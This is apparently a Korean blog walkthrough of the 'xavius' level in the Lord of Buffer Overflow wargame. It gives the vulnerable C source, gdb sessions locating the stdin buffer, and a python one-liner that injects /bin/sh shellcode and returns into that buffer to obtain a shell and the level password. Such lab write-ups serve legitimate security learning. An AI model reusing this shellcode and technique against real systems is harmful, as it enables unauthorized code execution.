nightmare / beg for me
/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);//입력 받음
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
memcpy 함수를 통해 buffer+44부터 4 bytes 만큼 ret_addr에 복사한다. buffer+44 memset을 이용해 buffer부터 stack 아래까지 전부 0으로 초기화한다. 대신 ret 주소는 빼고. buffer-3000부터 buffer 전까지도 0이 저장된다.
이번엔 리턴 주소 빼고는 거의 다 0으로 초기화된다. 문제 힌트에 arg가 있는데 이 문제는 fgets로 입력받는다. fgets 함수의 인자로 사용되는 stdin을 들여다보자. stdin은 표준 입력을 의미하며 키보드로 입력받는 것이다.
xavius를 복사하여 gdb를 실행 후 main+26 위치에 break을 걸고 실행한다. hello를 입력한다.
[nightmare@localhost nightmare]$ gdb xavius2 -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>: push %ebp
0x8048715 <main+1>: mov %ebp,%esp
0x8048717 <main+3>: sub %esp,44
0x804871a <main+6>: mov %eax,%ds:0x8049a3c
0x804871f <main+11>: push %eax
0x8048720 <main+12>: push 0x100
0x8048725 <main+17>: lea %eax,[%ebp-40]
0x8048728 <main+20>: push %eax
0x8048729 <main+21>: call 0x8048408 <fgets>
0x804872e <main+26>: add %esp,12
(생략)
(gdb) b *main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/xavius2
hello
Breakpoint 1, 0x804872e in main ()
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>: 0x401068c0
(gdb) x/10x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>: 0xfbad2288 0x40015006 0x40015006 0x40015000
0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000 0x40015000 0x40015000 0x40015000
0x401068e0 <_IO_2_1_stdin_+32>: 0x40015400 0x00000000
(gdb) x/4x 0x40015000
0x40015000: 0x6c6c6568 0x00000a6f 0x00000000 0x00000000
fgets 함수의 인자로 제일 처음 push 되는 0x8049a3c를 들여다봤다. 0x401068c0에 들어가 본다. 보니 뭔가가 있다. 0x40015000과 0x40015006을 보니 내가 입력한 hello길이 +1만큼 차이가 난다. fgets 함수는 끝에 \x0a(개행)을 붙이기 때문이다. hello\n이 된다. 그래서 0x40015000을 들어가 보면 hello\n가 존재함을 알 수 있다.
(gdb) b *main+278
Breakpoint 2 at 0x804882a
(gdb) c
Continuing.
hello
Breakpoint 2, 0x804882a in main ()
(gdb) ni
0x400309cb in __libc_start_main (main=???, argc=???, argv=???, init=???, fini=???,
rtld_fini=???, stack_end=???) at ../sysdeps/generic/libc-start.c:92
92 ../sysdeps/generic/libc-start.c: No such file or directory.
(gdb) x/4x 0x40015000
0x40015000: 0x6c6c6568 0x00000a6f 0x00000000 0x00000000
main 함수의 ret에 break을 걸고 ret명령까지 실행 후에도 hello\n가 stdin에 남아있음을 확인했다. 그렇다면 표준 입력으로 쉘 코드를 전달하고 0x40015000으로 리턴하면 실행할 수 있을 것이다.
[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat)|./xavius
1h//shh/bin⏓°
̀
my-pass
euid = 519
throw me away
xavius의 비밀번호는 throw me away
참고로 stdin이 EOF를 반환하기에 쉘에 대한 입력을 유지하려면 cat가 필요하다.
'Lord of Buffer Overflow' 카테고리의 다른 글
death_knight (0) | 2023.02.04 |
---|---|
xavius -> death_knight (0) | 2023.02.04 |
succubus -> nightmare (4) | 2023.02.03 |
zombie_assassin -> succubus (0) | 2023.02.02 |
assassin -> zombie_assassin (0) | 2023.02.01 |